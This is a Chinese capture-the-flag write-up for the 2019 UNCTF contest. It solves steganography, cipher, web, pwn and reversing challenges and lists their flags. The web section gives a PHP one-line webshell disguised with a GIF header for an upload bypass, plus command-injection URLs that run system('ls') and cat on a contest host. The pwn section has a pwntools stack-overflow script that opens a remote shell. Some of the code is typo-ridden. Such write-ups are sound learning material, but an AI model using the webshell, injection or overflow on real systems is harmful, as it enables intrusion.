为了防止安恒不给复现,我把MISC、RE的附件下载下来放在百度网盘上,有需要的自行下载,链接如下:https://pan.baidu.com/s/1QzTZFInCvvwtWuaJy-ZMKg
下面是全部wp的链接:
主站点:https://www.ctfwp.com/articals/2019unctf.html
备用站点一:https://coding.ctfwp.com/articals/2019unctf.html
备用站点二:https://github.ctfwp.com/articals/2019unctf.html
MISC
题目名称:平淡日子下面的秘密
分值:100分
Flag:unctf{This_i5_a_easy_lsb_steg}
下载得到图片,用stegsolve翻阅得到二维码,
扫码得到:Y0u're_so_smart,but_it's_not_the_end,然后用data extract提取,点击0 0 0 ,得到一个压缩包,
用上面那串字符解密的带flag:unctf{This_i5_a_easy_lsb_steg}
题目名称:贝斯的图
分值:100分
Flag:unctf{base64&image}
下载图片,用winhex打开,右边是base64代码。
转图片后是一张二维码,扫一下出来了flag:dW5jdGZ7YmFzZTY0JmltYWdlfQ==,base64解码把框框去一下就可以提交了。
题目名称:长安十二时辰
分值:200
Flag:unctf{m1sc_1s_s0_ea5y}
利用这张图上面的对应关系,解出图中的每个数字后面的图片是什么意思,各自对应ASCII码得到ufss_yn{c_e}cm_sat1105,栅栏一下,栅栏数是4,得到unctf{m1sc_1s_s0_ea5y},去框上交解出。
题目名称:我的头怎么了
分值:100
Flag:unctf{hhh_it’s_ea5y}
首先winhex打开,发现这里跟文件名.gif不一样。
百度了一下GIF的头47 49 46 38,然后输进去,得到
保存一下,得到一张GIF动图,在其中的一帧上面看到了flag,然后用stegsolve打开,一帧一帧播放,得到flag:unctf{hhh_it’s_ea5y}
题目名称:压缩包大礼包
分值:400
Flag:unctf{D0_y0U_1!kE_rAR_?}
下载下来是个1,题目都说了是压缩大礼包,那就加上后缀.zip,解压得到2.zip。然后解压不了了,打开2.zip发现
504B刚好是压缩文件的头,把数字全部复制下来,用winhex打开新建一个压缩包,得到3.zip,解压得到4.zip。(这里其实有一个伪加密,但是我用360压缩打开好像直接搞定了)
尝试明文攻击,用WinRar压缩readme.txt,然后用ARCHPR攻击得到密码
解压得到5.zip。利用CRC32爆破,得到
找好东西:welc0me_To_7his_un_ctf__
然后 解密 得到6.zip。发现里面有点东西:
不知道是啥,既然是我们看不到的,八成是空格之类的东西。复制到word里面去,左右按按,发现每次的长度还不一样,可能是制表符,看下面的操作:
然后得到:
这个是啥??摩斯密码??每行跑一下,得到 X233$@F99 密码,解压得到6.jpg。winhex打开,拉倒结尾,发现PK:
PK是压缩包的头,不用多说,后面复制,并且新建一个压缩包7.zip。爆破走起
解压得到flag。
Base64解码,得到最终flag。
题目名称:快乐游戏题
分值:100
Flag:UNCTF{c783910550de39816d1de0f103b0ae32}
玩了游戏就出来了,益智?
题目名称:亲爱的
分值:100
Flag:UNCTF{W3_L0v3_Unctf}
解压出来以后,是一段mp3,放binwalk里面跑一波:
那解出来:
得到一个压缩包
QQ音乐?7月27日17:47分。结合MP3,《海阔天空》李现版,上qq音乐搜一搜,看到了评论!!!难道是这个??找了一波,找到脑壳疼。
还真的尼玛找到了!真的上头!得到2.jpg。binwalk一下:
UNCTF{W3_L0v3_Unvtf}
CRYPTO
题目名称:安妮·起源
分值:200
Flag:UNCTF{F1ame_i5_My_f4vorite_t0y}
先是猪圈密码,然后是摩斯密码,最后是银河字母,解码得到压缩包的密码,然后最后的exe文件得到了flag:flag怎么试都不对,把框去掉就对了。
密码如下:
Cubismine
Magicalmorsecode
helloctfer
题目名称:bacon
分值:100
Flag:2b95d1f09b8b66c5c43622a4d9ec9a04
打开链接发现是乱码,试试用火狐打开,unicode解码一下(或者用conventer)
看到aabab abbab babab 又看到培根,培根密码解码
FNV,md5加密,发现交不上去,试试AABAB ABBAB BABAB解码,解出fox,md5提交完事。
题目名称:云深不归处
分值:100
Flag:2059a82cf231b1d82c65e45ccedf95d7
发现只有01248,百度,
Youaremyhero md5加密一下 2059a82cf231b1d82c65e45ccedf95d7
题目名称:BABYRSA
分值:300
Flag:UNCTF{10023493ff87a9f246eb09d4f573e060}
参考链接:https://www.jianshu.com/p/83150473d0be
https://blog.csdn.net/asd413850393/article/details/89810137
这两个链接让我粗略看懂了RSA咋回事(另外加上数学课的东西),脚本的网站找不到了,那就算了吧。
下载后打开py,发现N=221,所以接下去是求p,q。先通过数学(草稿纸演算,比较麻烦),求得d=77,然后按照百度得到的脚本跑一下,就得到了flag
file=open('encrypt','rb')
f=file.read()
n=221
d=77
s=''
fori in f:
s += chr(pow(ord(i),d,n))
prints
file.close() //脚本附上
我不生产知识,我只是知识的搬运工。这道题我也做的很蒙,好像主要还是靠脚本。
WEB
题目名称:checkinA
分值:100
Flag:flag{ca876b13439332b6083dd5f4cf48b72e}
打开链接后,输入/name 123修改名字为123,然后输入/flag得到flag,去框后提交。
原理:打开源码,看到好几个js代码,进去ctrl+F,查找flag,只有一个页面出现了flag。
看到一些指令,去试试,就出来了flag:
flag{ca876b13439332b6083dd5f4cf48b72e}
题目名称:上传给小姐姐的照片
分值:100
Flag:UNCTF{5e0c22f9af9172e95937e59c58358444}
御剑扫描一波,发现index.php,进去发现是个上传题,上传一个一句话木马,然后蚁剑(菜刀)连一下,得到flag.php,打开去框得到flag:UNCTF{5e0c22f9af9172e95937e59c58358444
(注意,上传的时候注意那个filename,那边需要修改一下)
Filename只要服务器没有就行,下面那里后缀名要php,其他一些php5啊啥的也行。
题目名称:NSB_Login
分值:200
Flag:flag{57fc636a42f46c7658110a631256f5cb}
用户名要么是root,要么是admin,root的时候提示没有这个东西,admin的时候提示密码错误,那么用户名就是admin没得跑了。
然后BP爆破,得到密码,登录得到flag。 57fc636a42f46c7658110a631256f5cb
题目名称:Simple_cal
分值:200
Flag:Flag{Glzj1n_W4nt5_4_91r1_Fr1end} (跑出来两个flag,交了哪个忘了)
主要参考https://www.cnblogs.com/qtisec/p/11097191.html
首先,构造raw,(提示了xff),
保存为xff.txt,然后sqlmap跑,命令看截图:
题目名称:WEB2
分值:100
Flag:UNCTF{d9582ac88cb7d23ee5721d5f033729b5}
附一个超级爽的上传靶场github的:
靶场地址:https://github.com/c0ny1/upload-labs
wp:https://xz.aliyun.com/t/2435
知识点:http://www.freebuf.com/vuls/128846.html
主要是白名单绕过,上传1.php%00发现绕不过去,就上传1.php.gif
蚁剑连接,url主要通过BP回显以及御剑扫描得到uploads这个文件夹,
但是,经过一些检验之后,我发现这道题并不是这么回事,它可能是检测文件头的。所以在一句话木马前面最好标注一下GIF89a(gif文件头)。
GIF89a
<?php @eval($_POST[pass]);?> //一句话木马
题目名称:WEB 1
分值:100
Flag:UNCTF{b9a5a633c806f9d24e42681c3f0360ba}
看到这个题目我就想到在index.php后面加上各种备份文件的后缀,but不能用!!!得了,御剑跑一波,得到了压缩包。
文本打开,里面放了个php代码。观察php代码,就是要你绕过三个检测(三个if)。
Un要是0,而且不能为0;
Ctf不能是纯数字,但是要大于87654321.
前面构造?un=’0123’ //字符串
后面构造ctf=88888888qwe //加几个字母就绕过numberc函数
得到前后flag,拼接一下就成了!
题目名称:光坂镇的小诗2
分值:200
Flag:FLAG{Q2GGHA_WEB_SQL_22JKK44H}
我先做的1,结果做不出来,下意识的以为2更难。结果,sqlmap一下就出来了。很开心。
命令见图:
Flag:FLAG{Q2GGHA_WEB_SQL_22JKK44H}
题目名称:阿风日记.docx
分值:100
Flag:unctf{asdwtg3y46wsgrs575}
打开链接,粗略的看了一下,有个东西叫秘密?
进去要你输入密码,啥都不说了,爆破走起。
题目名称:easy php
分值:100
Flag:flag{585ae8df504339777766bd76e3ebd9f4}
解读完毕,接下来先构造看目录的x,再构造抓flag的x。
http://101.71.29.5:10043/index.php?x=system('ls|cat');
http://101.71.29.5:10043/index.php?x=$a=%22%20flag.php%22;system(%22%20%20cat%22.$a);
PWN
题目名称:Hermes
分值:200
Flag:UNCTF{36d5c39de9214225400a9b8c5d64e6f4 }
/////////////////这个题目大佬们还是去看看别人的吧,我用32位的脚本跑出64位的flag,我也是醉了////////////////////
/////////////////此题仅作为纪念//////////////////////
下载文件,64位ida打开,shift+F12后,看到了美丽的/bin/sh ,然后找到binsh的地址:
九成九是一个栈溢出pwn题,然后gdb调试,先创300个随机字符,然后r运行,输入300字符溢出。
然后用offset得到偏移量:40
It’s time to 写脚本了,脚本附上:
from pwn import*
#sh=process("./pwn")
sh = remote ("101.71.29.5",10070)
target=0x00004007EB
payload='a'*40+p32(target)
sh.sendline(payload)
sh.interactive()
#人生中第一次独立完成一道pwn题,一万个开心,虽然有点奇怪0.0.
题目名称:nc
分值:100
Flag:UNCTF{4c697e3019673fe91ce1571cdd4087aa}
给你个地址,先nc 123.206.21.178 9090,然后溢出就行:
RE
题目名称:very_easy_re
分值:
Flag:UNCTF{h4ve_f5n_ 1n_ 8h7r7}
文件打不开,显示错误,用ida打开,shift+F12。
Ok,找到main函数了。这混蛋出题人居然把main函数删了,好开心····
然后看代码,发现需要构造一个payload使得1-7位+1,8-15位+3,17-23位+3,24-32位+4,ok,jio本走起。
#coding:utf-8
flag1 = 'WV6EWF[8dGU5]Y<pQZ8iPZ8iSKk7gnh='
flag =''
for i in
range(len(flag1)):
if(i<8):
flag +=chr(ord(flag1[i])-1)
if(8<=i and i<24):
flag+=chr(ord(flag1[i])-3)
if(24<=i and i<32):
flag+=chr(ord(flag1[i])-4)
print(flag) //python
得到:
VU5DVEZ7aDR2ZV9mNW5fMW5fOGg3cjd9
base64解码得:
UNCTF{h4ve_f5n_1n_8h7r7}
题目名称:rookie_reverse
分值:200
Flag:unctf {welcOme_tO_unctf_bAby_reverse}
找到main函数,看了一下,先输入,然后对22取异或并+1,然后输出结果要跟dyvcqnbt{v'|tJc'JdyvcqJuXupJetateftl 这东西一样,ok,脚本跑起来。不知道python的异或咋表示,就用C语言写。
Flag出来了,交不上去,真的生气,然后吧0变成O以后就交了。
脚本如下:
#include<stdio.h>
int main()
{
charflag1[100]="dyvcqnbt{v'|tJc'JdyvcqJuXupJetateftl";
char flag[100];
for (int i=0;i<100;i++)
flag[i]=(flag1[i]-1)^22;
printf ("%s",flag);
}
题目名称:unctf_babyre
分值:200
Flag:14ddacbe412e423156ce5fe5ad5ba195
这个题目我是真的服气
Ida打开,看main函数,发现一串的异或。题目要求输入s,然后跟一堆东西(t)异或,得到一个东西(target)。但是不知道t,target咋整?双击target,得到
Do_You_ThInk_1t_1s_A_Tru1y_Baby
那整t,双击t,得到了
括起来,shift+E,得到
0x72, 0xFF, 0x94,0x62, 0x0F, 0x69, 0x88, 0x6E, 0x53, 0xF0,
0x17, 0x60, 0x6A, 0xC4, 0x70, 0x1A, 0x05, 0x6C, 0x8F,0x7B,
0x6B, 0x1B, 0x7B, 0x32, 0x51, 0x24, 0xD3, 0x7F, 0x01,0x12,
0x2E, 0x73
接下来就是烧脑壳的脚本,就是原来的程序反过来。(异或的逆还是异或)
#include<stdio.h>
int main ()
{
char a[35];
intt[33]={0x72,0xFF,0x94,0x62,0x0F,0x69,0x88,0x6E,0x53,0xF0,0x17,0x60,0x6A,0xC4,0x70,0x1A,0x05,0x6C,0x8F,0x7B,0x6B,0x1B,0x7B,0x32,0x51,0x24,0xD3,0x7F,0x01,0x12,0x2E,0x73};
int i,j,k;
scanf("%s",&a);
i=j=k=0;
for (i=0;i<=7;i++)
{
flag[i*4]=(a[i*4]-1)^t[i*4];
flag[i*4+1]=(a[i*4+1]-t[i*4+1])^a[4*i];
flag[i*4+2]=(a[i*4+2]-a[4*i+1])^t[i*4+2];
flag[i*4+3]=a[i*4+3]^t[i*4+3]^a[i*4+2];
}
printf("%s",flag);
}
跑出来flag:14ddacbe412e423156ce5fe5ad5ba195
题目名称:unctf easyreverse
分值:100
Flag:KDsJv8ilTho8dUhTij8dZ
首先,先把这些东西变成字符,wow,差不多明白了,把下面代码读懂了就差不多可以写jio本了。
#include<stdio.h>
#include<string.h>
int main()
{
char*a="UNCTFisv3ryin4r3stin9";
char* b="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+<>?:";
int c[21];
int i,j;
for(i=0;i<21;i++)
for(j=0;j<=strlen(b);j++)
if(a[i]==b[j])c[i]=j;
for(i=0;i<21;i++)
{
if(c[i]<=9&&c[i]>=0)c[i]+=48;
elseif(c[i]<=35&&c[i]>=10)c[i]+=87;
else c[i]+=29;
}
for(int i=0;i<21;i++)
printf("%c",c[i]);
return 0;
}
Flag: KDsJv8ilTho8dUhTij8dZ 如果不行就套个壳 啥unctf、UNCTF、FLAG、flag等
题目名称:调试器的初体验
分值:100
Flag:flag{16cea37e53405a8b1b8a7de219e8edd1}
打开调试器,发现报错,不能运行。百度了一下,把相关文件下载下来就一路绿灯:
用ollydbg打开,一路F9,就完事了。
i跟l我是真的服气。
ps:本文仅供学习使用。